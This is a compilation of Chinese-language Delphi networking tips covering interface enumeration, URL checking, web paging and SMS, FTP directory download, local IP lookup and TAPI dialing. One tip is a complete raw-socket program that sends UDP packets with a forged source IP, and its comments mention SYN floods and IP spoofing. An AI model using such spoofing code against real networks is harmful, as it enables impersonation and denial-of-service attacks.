pAddrInet: SOCKADDR_IN;

pAddrString: PCHAR;

PtrA: pointer;

Buffer: array[0..20] of INTERFACE_INFO;

i: Integer;

begin

result := true; // Initialize

sInt := '';

WSAStartup($0101, wsaD); // Start WinSock

// You should normally check

// for errors here :)

s := Socket(AF_INET, SOCK_STREAM, 0); // Open a socket

if (s = INVALID_SOCKET) then exit;

try // Call WSAIoCtl

PtrA := @bytesReturned;

if (WSAIoCtl(s, SIO_GET_INTERFACE_LIST, nil, 0, @Buffer, 1024, PtrA, nil,

nil)

<> SOCKET_ERROR)

then

begin // If ok, find out how

// many interfaces exist

NumInterfaces := BytesReturned div SizeOf(INTERFACE_INFO);

for i := 0 to NumInterfaces - 1 do // For every interface

begin

pAddrInet := Buffer[i].iiAddress.addressIn; // IP ADDRESS

pAddrString := inet_ntoa(pAddrInet.sin_addr);

sInt := sInt + ' IP=' + pAddrString + ',';

pAddrInet := Buffer[i].iiNetMask.addressIn; // SUBNET MASK

pAddrString := inet_ntoa(pAddrInet.sin_addr);

sInt := sInt + ' Mask=' + pAddrString + ',';

pAddrInet := Buffer[i].iiBroadCastAddress.addressIn; // Broadcast addr

pAddrString := inet_ntoa(pAddrInet.sin_addr);

sInt := sInt + ' Broadcast=' + pAddrString + ',';

SetFlags := Buffer[i].iiFlags;

if (SetFlags and IFF_UP) = IFF_UP then

sInt := sInt + ' Interface UP,' // Interface up/down

else

sInt := sInt + ' Interface DOWN,';

if (SetFlags and IFF_BROADCAST) = IFF_BROADCAST then // Broadcasts

sInt := sInt + ' Broadcasts supported,' // supported or

else // not supported

sInt := sInt + ' Broadcasts NOT supported,';

if (SetFlags and IFF_LOOPBACK) = IFF_LOOPBACK then // Loopback or

sInt := sInt + ' Loopback interface'

else

sInt := sInt + ' Network interface'; // normal

sInt := sInt + #13#10; // CRLF between

// each interface

end;

end;

except

end;

//

// Close sockets

//

CloseSocket(s);

WSACleanUp;

result := false;

end;

end.


内核访问Hotmail

问题提出/摘要:

有方法使我能够在我的应用程序中访问Hotmail上的电子邮件帐号吗？通过Microsoft？？

回答:

这篇文章也许并不合法，而且也许不完整， 所以，请自已为使用其中的代码负责。

你需要增加一些代码以便从注册表中获取登录名和密码，这对一个程序设计者来说不困难。困难的部分在于访问Hotmail站点本身，所以我们要用到以下...

使用CreateProcess或者WinExec来使用以下命令

1- rundll32.exe C:\PROGRA~1\INTERN~1\HMMAPI.DLL,OpenInboxHandler

打开服务器上收件箱文件夹，如果再多做一些艰苦的工作，例如使用DDEMan单元，你还可以得到有多少个邮件在那里，甚至访问地址簿以及其它更多...

2- 要发信或者回信使用以下命令

rundll32.exe C:\PROGRA~1\INTERN~1\HMMAPI.DLL,MailToProtocolHandler %1

希望你有一天会使用到这些命令！！


检查一个URL是否有效

这个函数将会检查URL是否有效。唯一的先决条件就是你必须在线。

URL前可能有 http:// 前缀，却省情况也是 http:// 作前缀,函数 internetOpenUrl 对 FTP:// 和 gopher:// 前缀均提供支持。

例子中我检查返回代码是否为 '200' 和 '302'（重定位标记），你也可以按你的需要修改返回码. 仅修改 the result := 表达式 这句即可.

uses wininet;

Function CheckUrl(url:string):boolean;

var

hSession, hfile, hRequest: hInternet;

dwindex,dwcodelen :dword;

dwcode:array[1..20] of char;

res : pchar;

begin

if pos('http://',lowercase(url))=0 then

url := 'http://'+url;

Result := false;

hSession := InternetOpen('InetURL:/1.0',

INTERNET_OPEN_TYPE_PRECONFIG,nil, nil, 0);

if assigned(hsession) then

begin

hfile := InternetOpenUrl(

hsession,

pchar(url),

nil,

0,

INTERNET_FLAG_RELOAD,

0);

dwIndex := 0;

dwCodeLen := 10;

HttpQueryInfo(hfile, HTTP_QUERY_STATUS_CODE,

@dwcode, dwcodeLen, dwIndex);

res := pchar(@dwcode);

result:= (res ='200') or (res ='302');

if assigned(hfile) then

InternetCloseHandle(hfile);

InternetCloseHandle(hsession);

end;

end;


发送raw IP类型的数据包

下面给出一个通过自定义源IP地址和源端口演示如何发送UDP数据包的例子，或许对你了解有所帮助.你也可以设计自己的协议，如发送SYN 数据浪涌，或其它类型的自定义协议。

{

Raw 数据包 Sender

使用：Delphi + Winsock 2

描述：

通过使用Raw sockets我们可以在internet上发送含有任意格式的数据包。它可以让你可能设计自己的协议。尽管可能接收有点困难，但黑客们可能用它来制造SYN数据浪涌。IP欺骗因此变得十分容易。

注意：

1。下面的源程序可能只在Win2000下可靠。

2。你只能发送Raw数据包。但不能接收。

3。运行此程序时你必须是管理员身份。

4。此源程序需要一个含有一个按钮和一个Memo元件的Form.

---------------------------------------------------------------------

在运行此程序前，你必须改变 SrcIP+SrcPort+DestIP+DestPort为合适的值。

---------------------------------------------------------------------

未弄明白此源程序之前请不要运行它。

---------------------------------------------------------------------

}

unit main;

interface

uses

Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,

StdCtrls, OleCtrls, Registry;

Const

SrcIP = '123.123.123.1';

SrcPort = 1234;

DestIP = '123.123.123.2';

DestPort = 4321;

Max_Message = 4068;

Max_Packet = 4096;

type

TPacketBuffer = Array[0..Max_Packet-1] of byte;

TForm1 = class(TForm)

Button1: TButton;

Memo1: TMemo;

procedure Button1Click(Sender: TObject);

private

{ Private declarations }

public

{ Public declarations }

procedure SendIt;

end;

// IP Header

type

T_IP_Header = record

ip_verlen : Byte;

ip_tos : Byte;

ip_totallength : Word;

ip_id : Word;

ip_offset : Word;

ip_ttl : Byte;

ip_protocol : Byte;

ip_checksum : Word;

ip_srcaddr : LongWord;

ip_destaddr : LongWord;

end;

// UDP Header

Type

T_UDP_Header = record

src_portno : Word;

dst_portno : Word;

udp_length : Word;

udp_checksum : Word;

end;

// Some Winsock 2 type declarations

u_char = Char;

u_short = Word;

u_int = Integer;

u_long = Longint;

SunB = packed record

s_b1, s_b2, s_b3, s_b4: u_char;

end;

SunW = packed record

s_w1, s_w2: u_short;

end;

in_addr = record

case integer of

0: (S_un_b: SunB);

1: (S_un_w: SunW);

2: (S_addr: u_long);

end;

TInAddr = in_addr;

Sockaddr_in = record

case Integer of

0: (sin_family: u_short;

sin_port: u_short;

sin_addr: TInAddr;

sin_zero: array[0..7] of Char);

1: (sa_family: u_short;

sa_data: array[0..13] of Char)

end;

TSockAddr = Sockaddr_in;

TSocket = u_int;

const

WSADESCRIPTION_LEN = 256;

WSASYS_STATUS_LEN = 128;

type

PWSAData = ^TWSAData;

WSAData = record // !!! also WSDATA

wVersion: Word;

wHighVersion: Word;

szDescription: array[0..WSADESCRIPTION_LEN] of Char;

szSystemStatus: array[0..WSASYS_STATUS_LEN] of Char;

iMaxSockets: Word;

iMaxUdpDg: Word;

lpVendorInfo: PChar;

end;

TWSAData = WSAData;

// Define some winsock 2 functions

function closesocket(s: TSocket): Integer; stdcall;

function socket(af, Struct, protocol: Integer): TSocket; stdcall;

function sendto(s: TSocket; var Buf; len, flags: Integer; var addrto: TSockAddr;

tolen: Integer): Integer; stdcall;{}

function setsockopt(s: TSocket; level, optname: Integer; optval: PChar;

optlen: Integer): Integer; stdcall;

function inet_addr(cp: PChar): u_long; stdcall; {PInAddr;} { TInAddr }

function htons(hostshort: u_short): u_short; stdcall;

function WSAGetLastError: Integer; stdcall;

function WSAStartup(wVersionRequired: word; var WSData: TWSAData): Integer; stdcall;

function WSACleanup: Integer; stdcall;

const

AF_INET = 2; // internetwork: UDP, TCP, etc.

IP_HDRINCL = 2; // IP Header Include

SOCK_RAW = 3; // raw-protocol interface

IPPROTO_IP = 0; // dummy for IP

IPPROTO_TCP = 6; // tcp

IPPROTO_UDP = 17; // user datagram protocol

IPPROTO_RAW = 255; // raw IP packet

INVALID_SOCKET = TSocket(NOT(0));

SOCKET_ERROR = -1;

var

Form1: TForm1;

implementation

// Import Winsock 2 functions

const WinSocket = 'WS2_32.DLL';

function closesocket; external winsocket name 'closesocket';

function socket; external winsocket name 'socket';

function sendto; external winsocket name 'sendto';

function setsockopt; external winsocket name 'setsockopt';

function inet_addr; external winsocket name 'inet_addr';

function htons; external winsocket name 'htons';

function WSAGetLastError; external winsocket name 'WSAGetLastError';

function WSAStartup; external winsocket name 'WSAStartup';

function WSACleanup; external winsocket name 'WSACleanup';

{$R *.DFM}

//

// Function: checksum

//

// Description:

// This function calculates the 16-bit one's complement sum

// for the supplied buffer

//

function CheckSum(Var Buffer; Size : integer) : Word;

type

TWordArray = Array[0..1] of Word;

var

ChkSum : LongWord;

i : Integer;

begin

ChkSum := 0;

i := 0;

While Size > 1 do begin

ChkSum := ChkSum + TWordArray(Buffer)[i];

inc(i);

Size := Size - SizeOf(Word);

end;

if Size=1 then ChkSum := ChkSum + Byte(TWordArray(Buffer)[i]);

ChkSum := (ChkSum shr 16) + (ChkSum and $FFFF);

ChkSum := ChkSum + (Chksum shr 16);

Result := Word(ChkSum);

end;

procedure BuildHeaders(

FromIP : String;

iFromPort : Word;

ToIP : String;

iToPort : Word;

StrMessage : String;

Var Buf : TPacketBuffer;

Var remote : TSockAddr;

Var iTotalSize : Word

);

Var

dwFromIP : LongWord;

dwToIP : LongWord;

iIPVersion : Word;

iIPSize : Word;

ipHdr : T_IP_Header;

udpHdr : T_UDP_Header;

iUdpSize : Word;

iUdpChecksumSize : Word;

cksum : Word;

Ptr : ^Byte;

procedure IncPtr(Value : Integer);

begin

ptr := pointer(integer(ptr) + Value);

end;

begin

// Convert ip address'ss

dwFromIP := inet_Addr(PChar(FromIP));

dwToIP := inet_Addr(PChar(ToIP));

// Initalize the IP header

//

iTotalSize := sizeof(ipHdr) + sizeof(udpHdr) + length(strMessage);

iIPVersion := 4;

iIPSize := sizeof(ipHdr) div sizeof(LongWord);

//

// IP version goes in the high order 4 bits of ip_verlen. The

// IP header length (in 32-bit words) goes in the lower 4 bits.

//

ipHdr.ip_verlen := (iIPVersion shl 4) or iIPSize;

ipHdr.ip_tos := 0; // IP type of service

ipHdr.ip_totallength := htons(iTotalSize); // Total packet len

ipHdr.ip_id := 0; // Unique identifier: set to 0

ipHdr.ip_offset := 0; // Fragment offset field

ipHdr.ip_ttl := 128; // Time to live

ipHdr.ip_protocol := $11; // Protocol(UDP)

ipHdr.ip_checksum := 0 ; // IP checksum

ipHdr.ip_srcaddr := dwFromIP; // Source address

ipHdr.ip_destaddr := dwToIP; // Destination address

//

// Initalize the UDP header

//

iUdpSize := sizeof(udpHdr) + length(strMessage);

udpHdr.src_portno := htons(iFromPort) ;

udpHdr.dst_portno := htons(iToPort) ;

udpHdr.udp_length := htons(iUdpSize) ;

udpHdr.udp_checksum := 0 ;

//

// Build the UDP pseudo-header for calculating the UDP checksum.

// The pseudo-header consists of the 32-bit source IP address,

// the 32-bit destination IP address, a zero byte, the 8-bit

// IP protocol field, the 16-bit UDP length, and the UDP

// header itself along with its data (padded with a 0 if

// the data is odd length).

//

iUdpChecksumSize := 0;

ptr := @buf[0];

FillChar(Buf, SizeOf(Buf), 0);

Move(ipHdr.ip_srcaddr, ptr^, SizeOf(ipHdr.ip_srcaddr));

IncPtr(SizeOf(ipHdr.ip_srcaddr));

iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_srcaddr);

Move(ipHdr.ip_destaddr, ptr^, SizeOf(ipHdr.ip_destaddr));

IncPtr(SizeOf(ipHdr.ip_destaddr));

iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_destaddr);

IncPtr(1);

Inc(iUdpChecksumSize);

Move(ipHdr.ip_protocol, ptr^, sizeof(ipHdr.ip_protocol));

IncPtr(sizeof(ipHdr.ip_protocol));

iUdpChecksumSize := iUdpChecksumSize + sizeof(ipHdr.ip_protocol);

Move(udpHdr.udp_length, ptr^, sizeof(udpHdr.udp_length));

IncPtr(sizeof(udpHdr.udp_length));

iUdpChecksumSize := iUdpChecksumSize + sizeof(udpHdr.udp_length);

move(udpHdr, ptr^, sizeof(udpHdr));

IncPtr(sizeof(udpHdr));

iUdpChecksumSize := iUdpCheckSumSize + sizeof(udpHdr);

Move(StrMessage[1], ptr^, Length(strMessage));

IncPtr(Length(StrMessage));

iUdpChecksumSize := iUdpChecksumSize + length(strMessage);

cksum := checksum(buf, iUdpChecksumSize);

udpHdr.udp_checksum := cksum;

//

// Now assemble the IP and UDP headers along with the data

// so we can send it

//

FillChar(Buf, SizeOf(Buf), 0);

Ptr := @Buf[0];

Move(ipHdr, ptr^, SizeOf(ipHdr)); IncPtr(SizeOf(ipHdr));

Move(udpHdr, ptr^, SizeOf(udpHdr)); IncPtr(SizeOf(udpHdr));

Move(StrMessage[1], ptr^, length(StrMessage));

// Apparently, this SOCKADDR_IN structure makes no difference.

// Whatever we put as the destination IP addr in the IP header

// is what goes. Specifying a different destination in remote

// will be ignored.

//

remote.sin_family := AF_INET;

remote.sin_port := htons(iToPort);

remote.sin_addr.s_addr := dwToIP;

end;

procedure TForm1.SendIt;

Var

sh : TSocket;

bOpt : Integer;

ret : Integer;

Buf : TPacketBuffer;

Remote : TSockAddr;

Local : TSockAddr;

iTotalSize : Word;

wsdata : TWSAdata;

begin

// Startup Winsock 2

ret := WSAStartup($0002, wsdata);

if ret<>0 then begin

memo1.lines.add('WSA Startup failed.');

exit;

end;

with memo1.lines do begin

add('WSA Startup:');

add('Desc.: '+wsData.szDescription);

add('Status: '+wsData.szSystemStatus);

end;

try

// Create socket

sh := Socket(AF_INET, SOCK_RAW, IPPROTO_UDP);

if (sh = INVALID_SOCKET) then begin

memo1.lines.add('Socket() failed: '+IntToStr(WSAGetLastError));

exit;

end;

Memo1.lines.add('Socket Handle = '+IntToStr(sh));

// Option: Header Include

bOpt := 1;

ret := SetSockOpt(sh, IPPROTO_IP, IP_HDRINCL, @bOpt, SizeOf(bOpt));

if ret = SOCKET_ERROR then begin

Memo1.lines.add('setsockopt(IP_HDRINCL) failed: '+IntToStr(WSAGetLastError));

exit;

end;

// Build the packet

BuildHeaders( SrcIP, SrcPort,

DestIP, DestPort,

'THIS IS A TEST PACKET',

Buf, Remote, iTotalSize );

// Send the packet

ret := SendTo(sh, buf, iTotalSize, 0, Remote, SizeOf(Remote));

if ret = SOCKET_ERROR then

Memo1.Lines.Add('sendto() failed: '+IntToStr(WSAGetLastError))

else

Memo1.Lines.Add('send '+IntToStr(ret)+' bytes.');

// Close socket

CloseSocket(sh);

finally

// Close Winsock 2

WSACleanup;

end;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

SendIt;

end;

end.


用Delphi实现BP机手机短讯

yousoft 原作

很多人一定用过OICQ，想必也用过了它的BP机短讯、手机短讯，编程的朋友一定想实现这种功能，

如果你的程序能发到手机、发到BP机一定很酷。

现在我就介绍一种可行的方法。

一、原理

它不同于OICQ的双方都在网上才能进行交流的寻呼功能，它可以将文字信息发送到真正的寻呼机上。只要你能够上网，就可以自己动手，随时随地将信息发送出去，即使你在国外，也可以利用它来向国内的友人发送信息了，而且不用交纳国际长途费用，是不是方便又省事呢！

二、分析

现在网上各寻呼台都有网上服务,网页寻呼(Web Paging)就是常用的一种。它是通过在互联网上访问寻呼台的主页，然后由寻呼台的信息寻呼系统打传呼。所以我们只要利用HTTP协议就可以实现网络寻呼了。以下就简单介绍一下HTTP协议：

HTTP中完成一个会话通常要完成：1)客户端程序与服务器建立连接2)发送请求3)服务器响应客户端4)关闭连接

HTTP常用到的请求有：1)GET(请求一万维网页) 2)HEAD(读取一万维网页的头部) 3)PUT(请求一存储万维网页) 4)POST(附加一个命名的资源) 5)DELETE(删除万维网页) 6)LINK(连接两个已有的资源) 7)UNLINK(断开两个已有资源的连接)

HTTP中常用到的应答状态代码有：(*号代表0-9间的一个数) 1. 1** (信息) 2. 2**(成功) 3.4**(客户端错误) 4.5**(服务器错误)

其实我们要实现的程序，只用POST、GET请求，收到正常应答就可以了。POST可以用于把用户输入的数据以数据流的方式传给CGI程序，CGI通过Contect-Length环境变量来取相应长度的数据流信息。

POST请求格式如下：

POST http://www2.scuta.edu.cn/stu/chatroom/check.asp HTTP/1.0

Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*

Referer: http://www2.scuta.edu.cn/stu/

Accept-Language: zh-cn

Content-Type: application/x-www-form-urlencoded

Proxy-Connection: Keep-Alive

User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)

Host: www2.scuta.edu.cn

Content-Length: 87

Pragma: no-cache

Cookie: ASPSESSIONIDQGGGQHHE=ABGNNOJCIGOFCDLBIOLHKAFK

服务器正常应答的头部结构为：

200 OK HTTP/1.0 说明提交数据成功

三、程序的实现

Delphi中NMHTTP已经可以很容易的实现上面的所说的数据提交,而且它还支持Proxy、这样对于通过代理服务器上网一样可以适用，并且它不是OICQ中发送讯信所用到SOCKET5代理。

新建一个窗体，加入组件一个ComboBox，命名为callto,用于存放寻呼对象，如国信寻呼就有95908、94908、94909、98062、98063、98019、98035、98052、98038、99055、98060、98061、98051、98003、99062、99016、99017、99018、99019、99046、99076；加入组件Edit，命名为tonumber，表示寻呼号码；加入组件RadioGroup，命名为RadioGroup1,Caption设为呼机类型，items中加入两项，分别为中文机、数字机;加入组件Edit,命名为firstName，用于表示发寻呼人的姓；加入组件RadioGroup，命名为RadioGroup2,Caption设为寻呼人性别，items中加入两项，分别为先生、小姐;加入组件Memo，命名为callmsg，用于输入发送的信息(注：对于数字机只能是数字信息)；加入组件NMHTTP,命名为NMHTTP1；加入Checkbox，命名为ifuseproxy，用于确定是否使用代理服务器;加入两个Edit组件，分别用于软件代理服务器地址、代理服务器端口；最后加入命令按钮,Caption设为“发送”。

现在以国信寻呼为例，它用GET请求就可以实现了,“发送”按钮的程序代码如下：

procedure TForm1.Button1Click(Sender: TObject);

var callstr:string;

begin callstr:='http://tips.gxspace.com/cgi-bin/tips/webpaging?stn_id='+callto.Text+'&page_no='+tonumber.Text;

case RadioGroup1.ItemIndex of

0:callstr:=callstr+'&pager_type=C';

1:callstr:=callstr+'&pager_type=N';

end;

callstr:=callstr+'&firstname='+firstname.text;

case RadioGroup2.ItemIndex of

0:callstr:=callstr+'&title=0';

1:callstr:=callstr+'&title=1';

end;

callstr:=callstr+'&msg='+callmsg.Text+'&answer=null&B1=发送寻呼';

NMHTTP1.InputFileMode := FALSE;

NMHTTP1.OutputFileMode := FALSE;

NMHTTP1.ReportLevel := Status_Basic;

If ifuseproxy.Checked then

Begin

NMHTTP1.Proxy := Edit1.Text;

NMHTTP1.ProxyPort := StrToInt(Edit2.Text);

End;

NMHTTP1.Get(callstr);

end;

有些寻呼(如润迅寻呼就不能用上面的GET请求实现，它要用POST请求)，使用与上面相差不大，如下面是NMHTTP的POST用法：

NMHTTP1.InputFileMode:=False;

NMHTTP1.OutputFileMode:=True;

NMHTTP1.ReportLevel:=Status_Basic;

If ifuseproxy.Checked then

Begin

NMHTTP1.Proxy := Edit1.Text;

NMHTTP1.ProxyPort := StrToInt(Edit2.Text);

End;

With NMHTTP1.HeaderInfo do

Begin

Cookie := Edit5.Text;

LocalMailAddress := Edit6.Text;

LocalProgram := Edit7.Text;

Referer := Edit8.Text;

UserID := Edit9.Text;

Password := Edit10.Text;

End;

// 把要提交的数据先放在test.txt文件中：格式为stnid=A&pageno=123456...

NMHTTP1.Post('http://www.wocall.com/script/zbwebcall.asp','test.txt');

//NMHTTP的具体用法在Delphi安装目前\Borland\Delphi5\Demos\FastNet\Http下有个NMHTTP使用的例子。

以上都是用NMHTTP实现的，其实用Delphi中的WebBrowser组件同样可以完成数据的提交，使用是这样的 Webbrowser1.OleObject.Document.FrontPage_Form1.submit();

说明：WebBrowser1是WebBrowser组件的名,Frontpage_Form1是用WebBrowser打开的网页中的表单名

网页中的表单是这机样的：

<FORM name=FrontPage_Form1 action=http://message.com.cn/cgi-bin/ips/webpaging method=post>

......

</Form>

这样的实现方法就是用程序生成一个已经按用户输入信息生成一个网页，然后通过WebBrowser1.Navigate(生成的网页),最后提交到服务器Webbrowser1.OleObject.Document.FrontPage_Form1.submit();这样就完成了一次寻呼


发送手机短消息服务

 首先通过下面的地址下载并安装微软SOAP工具包2.0:
http://msdn.microsoft.com/downloads/default.asp?URL=/code/sample.asp?url=/msdn-files/027/001/580/msdncompositedoc.xml
然后就可以使用下面的简短代码发送SMS了。

uses
ComObj;

procedure TForm1.Button1Click(Sender: TObject);
var
SoapClient: OleVariant;
v: OleVariant;
begin
SoapClient := CreateOleObject('MSSOAP.SoapClient');
SoapClient.mssoapinit('http://sal006.salnetwork.com:83/lucin/smsmessaging/process.xml');
SoapClient.SendTextMessage('Number', 'MessageBody', 'Sender');
end;

其中Number为国家代码+电话号码（不需要以零打头），
如 06 12345678 在荷兰：31612345678
（有些可惜，上面的网址不能发中国的手机


获得及设定缺省email软件

function GetDefaultMailer : string;
var
reg : TRegistry;

begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CLASSES_ROOT;
if
Reg.KeyExists('Mailto\shell\open\command') then
begin
Reg.OpenKey('Mailto\shell\open\command',false);
Result:=Reg.ReadString('');
end
else
Result:='';
Reg.Free;
end;

procedure SetDefaultMailer(CmdLine : string);
var
reg : TRegistry;

begin
Reg:=TRegistry.Create;
Reg.RootKey:=HKEY_CLASSES_ROOT;
Reg.OpenKey('Mailto\shell\open\command',true);
Reg.WriteString('',CmdLine);
Reg.Free;
end;

SetDefaultMailer('C:\PMAIL\winpm-32.exe -T "%1" -S "%2"');


使用ftp控件下载目录

作者：aton

delphi中的nmftp控件中Download函数只能下载一个文件，没有提供一个下载整个目录（包含子目录）的函数。

我编写了个实现目录下载功能的方法，需要用到该功能的用户可参考一下。

file://目录下载

function tftp.ex_download(remote_dir,local_dir:string):boolean;

var

i,j,count1:integer;

att,ss:string;

current_dir:string;

temp_dir:string;

begin

try begin

NMFTP1.ChangeDir(remote_dir);

current_dir:=remote_dir;

temp_dir:=copy(current_dir,2,length(current_dir));

if not DirectoryExists(local_dir) then CreateDir(local_dir);

if not directoryexists(local_dir+temp_dir) then createdir(local_dir+temp_dir);

nmftp1.ParseList:=true;

NMftp1.list;

count1:=nmftp1.FTPDirectoryList.name.Count;

for i:=0 to count1-1 do begin

file://必须

NMFTP1.ChangeDir(current_dir);

nmftp1.list;

ss:=nmftp1.FTPDirectoryList.name.Strings[i];

att:=nmftp1.FTPDirectoryList.Attribute.Strings[i];

if (copy(pchar(att),1,1)<>'d')and(copy(pchar(att),1,1)<>'D') then begin

if not DirectoryExists(local_dir) then CreateDir(local_dir);

NMFTP1.Download(current_dir+ss,local_dir+temp_dir+ss);

end

else begin

if not directoryexists(local_dir+temp_dir+ss) then createdir(local_dir+temp_dir+ss);

file://递归调用

ex_download(remote_dir+ss+'\',local_dir);

end;

end;

result:=true;

end

except

On E:Exception do begin

result:=false;

end;

end;

end;


获取本地IP

function LocalIP : string;
type
TaPInAddr = array
[0..10] of PInAddr;
PaPInAddr = ^TaPInAddr;
var
phe  : PHostEnt;
pptr :
PaPInAddr;
Buffer : array [0..63] of char;
I    : Integer;
GInitData      : TWSADATA;
begin
WSAStartup($101, GInitData);
Result := ``;
GetHostName(Buffer, SizeOf(Buffer));
phe :=GetHostByName(buffer);
if
phe = nil then Exit;
pptr := PaPInAddr(Phe^.h_addr_list);
I := 0;
while pptr^[I] <>
nil do begin
result:=StrPas(inet_ntoa(pptr^[I]^));
Inc(I);
end;
WSACleanup;
end;

来自：redgum, 时间：2001-8-30 20:40:00,
ID：609598
(ipconfig) or (winipcfg)

来自：飞来石,
时间：2001-9-3 21:24:00, ID：610641
uses Winsock;

...

function getIPs: TStrings;

type

TaPInAddr = Array[0..10] of PInAddr;

PaPInAddr = ^TaPInAddr;

var

phe: PHostEnt;

pptr: PaPInAddr;

Buffer: Array[0..63] of Char;

I: Integer;

GInitData: TWSAData;

begin

WSAStartup($101

GInitData);

Result:=TStringList.Create;

Result.Clear;

GetHostName(Buffer

SizeOf(Buffer));

phe := GetHostByName(buffer);

if phe = nil then

begin

Exit;

end;

pPtr := PaPInAddr(phe^.h_addr_list);

I := 0;

while pPtr^[I] <> nil do

begin

Result.Add(inet_ntoa(pptr^[I]^));

Inc(I);

end;

WSACleanup;

end;

procedure TForm1.Button1Click(Sender: TObject);

begin

memo1.Lines:=GetIps;

end;


使用TAPI拨号

TAPIMAXDESTADDRESSSIZE = 80;
TAPIMAXAPPNAMESIZE = 40;
TAPIMAXCALLEDPARTYSIZE = 40;
TAPIMAXCOMMENTSIZE = 80;

function tapiRequestMakeCall ; external 'Tapi32.dll';

Function DialPhone (PhoneNbr, CalledParty, Comment : String) : Boolean;
Var
MyPhoneNbr : Pchar;
MyAppName : Pchar;
MyCalledParty : Pchar;
MyComment : Pchar;
Begin
Result := false;
If (length(PhoneNbr) > TAPIMAXDESTADDRESSSIZE) or
(length(CalledParty) > TAPIMAXCALLEDPARTYSIZE) or
(length(Comment) > TAPIMAXCOMMENTSIZE) then
exit;

myPhoneNbr := StrAlloc(TAPIMAXDESTADDRESSSIZE);
MyAppName := StrAlloc(TAPIMAXAPPNAMESIZE);
MyCalledParty := StrAlloc(TAPIMAXCALLEDPARTYSIZE);
MyComment := StrAlloc(TAPIMAXCOMMENTSIZE);
try
StrPCopy(MyPhoneNbr, PhoneNbr);
StrPCopy(MyCalledParty, CalledParty);
StrPCopy(MyComment, Comment);
StrPCopy(MyAppName, 'Whatever');
Result := tapiRequestMakeCall(MyPhoneNbr, MyAppName,
MyCalledParty,MyComment) = 0;
finally
StrDispose(MyPhoneNbr);
StrDispose(MyAppName);
StrDispose(MyCalledParty);
StrDispose(MyComment);
end;
end;

{tapi Errors}

const TAPIERR_CONNECTED = 0;

const TAPIERR_DROPPED = -1;

const TAPIERR_NOREQUESTRECIPIENT = -2;

const TAPIERR_REQUESTQUEUEFULL = -3;

const TAPIERR_INVALDESTADDRESS = -4;

const TAPIERR_INVALWINDOWHANDLE = -5;

const TAPIERR_INVALDEVICECLASS = -6;

const TAPIERR_INVALDEVICEID = -7;

const TAPIERR_DEVICECLASSUNAVAIL = -8;

const TAPIERR_DEVICEIDUNAVAIL = -9;

const TAPIERR_DEVICEINUSE = -10;

const TAPIERR_DESTBUSY = -11;

const TAPIERR_DESTNOANSWER = -12;

const TAPIERR_DESTUNAVAIL = -13;

const TAPIERR_UNKNOWNWINHANDLE = -14;

const TAPIERR_UNKNOWNREQUESTID = -15;

const TAPIERR_REQUESTFAILED = -16;

const TAPIERR_REQUESTCANCELLED = -17;

const TAPIERR_INVALPOINTER = -18;

{tapi size constants}

const TAPIMAXDESTADDRESSSIZE = 80;

const TAPIMAXAPPNAMESIZE = 40;

const TAPIMAXCALLEDPARTYSIZE = 40;

const TAPIMAXCOMMENTSIZE = 80;

const TAPIMAXDEVICECLASSSIZE = 40;

const TAPIMAXDEVICEIDSIZE = 40;

function tapiRequestMakeCallA(DestAddress : PAnsiChar;

AppName : PAnsiChar;

CalledParty : PAnsiChar;

Comment : PAnsiChar) : LongInt;

stdcall; external 'TAPI32.DLL';

function tapiRequestMakeCallW(DestAddress : PWideChar;

AppName : PWideChar;

CalledParty : PWideChar;

Comment : PWideChar) : LongInt;

stdcall; external 'TAPI32.DLL';

function tapiRequestMakeCall(DestAddress : PChar;

AppName : PChar;

CalledParty : PChar;

Comment : PChar) : LongInt;

stdcall; external 'TAPI32.DLL';

procedure TForm1.Button1Click(Sender: TObject);

var

DestAddress : string;

CalledParty : string;

Comment : string;

begin

DestAddress := '1-555-555-1212';

CalledParty := 'Frank Borland';

Comment := 'Calling Frank';

tapiRequestMakeCall(pChar(DestAddress),

PChar(Application.Title),

pChar(CalledParty),

PChar(Comment));

end;

end.


编写TAPI应用程序

 TAPI（Telphony Application Programming Interface)可以称作电话编程接口，它是微软提供的计算机和电话网相联系的编程接口，使程序员可以利用这个接口通过电话线使用多种计算机复杂的通讯工作。TAPI能提供的功能主要有：自动拨号；以文件、传真、电子邮件的方式传送文件；访问Internet或其他形式信息服务、组织会议呼叫、使用主叫识别处理入呼叫、计算机间通过电话线的互相协作。这里提到的有的功能很早就已经广泛应用了，还有一些由于我国交换设备不提供此类功能很少问津。这里笔者不想对TAPI能实现什么功能多加讨论，只就编程谈一点体会。
    促使笔者利用TAPI编写程序主要是由于工作中经常需要发传真，而每个传真都需要确认，如果电话是功能最少的那种，每次都要花大量的时间在上面。如果确认时再没人应答，之后再来一次，效率就更低了。因此，笔者想到利用TAPI编写一个程序能用MODEM自动拨号，通话结束后记录一下内容，省了每次辛苦地看着号码拨号。下面将程序与读者共享。
    笔者利用delphi作为开发工具，原因主要是delphi开发程序方便快捷，同时数据库的使用比较简单。使用过Visual C＋＋的朋友都知道它的帮助是十分详细的，笔者开发的许多程序都参考了其中的WIN32 SDK帮助，尤其是在编写TAPI程序时，仔细地研究了其中的TAPI部分。使用VC编写TAPI程序可以利用现成的“tapi.h”头文件，但使用delphi就需要将C＋＋版本的头文件翻译成Object Pascal的格式，再将“tapi32.dll”中的函数引用到头文件中来。幸好这项工作不用我们去做，从Inprise公司的站点可以获得delphi 关于TAPI编程的头文件，省了不少事，笔者的头文件tapi.pas是Davide Moretti编写的，如果需要的朋友可以通过报社和笔者联系。
    首先介绍程序中用到的几个函数：lineInitialize、lineNegotiateAPIVersion、lineOpen、lineMakeCall、lineHandOff、lineShutDown、lineConfigDialog、lineCallBackProc、lineGetIcon。函数的使用过程依次是：lineInitialize初始化线路、lineNegotiateAPIVersion确定TAPI版本号、lineOpen 打开线路、lineConfigDialog显示线路设备属性、lineMakeCall自动拨出电话号码、
lineGetIcon获得线路设备图标的句柄、lineHandOff将MODEM控制线路权转到用户、lineShutDown关闭线路。这里所用的函数名和tapi32.dll中输出的函数名相同。
    由于delphi和VC中类型定义的区别，笔者有必要举例说明函数定义在VC和delphi中的区别。以lineInitialize为例，在VC中定义为
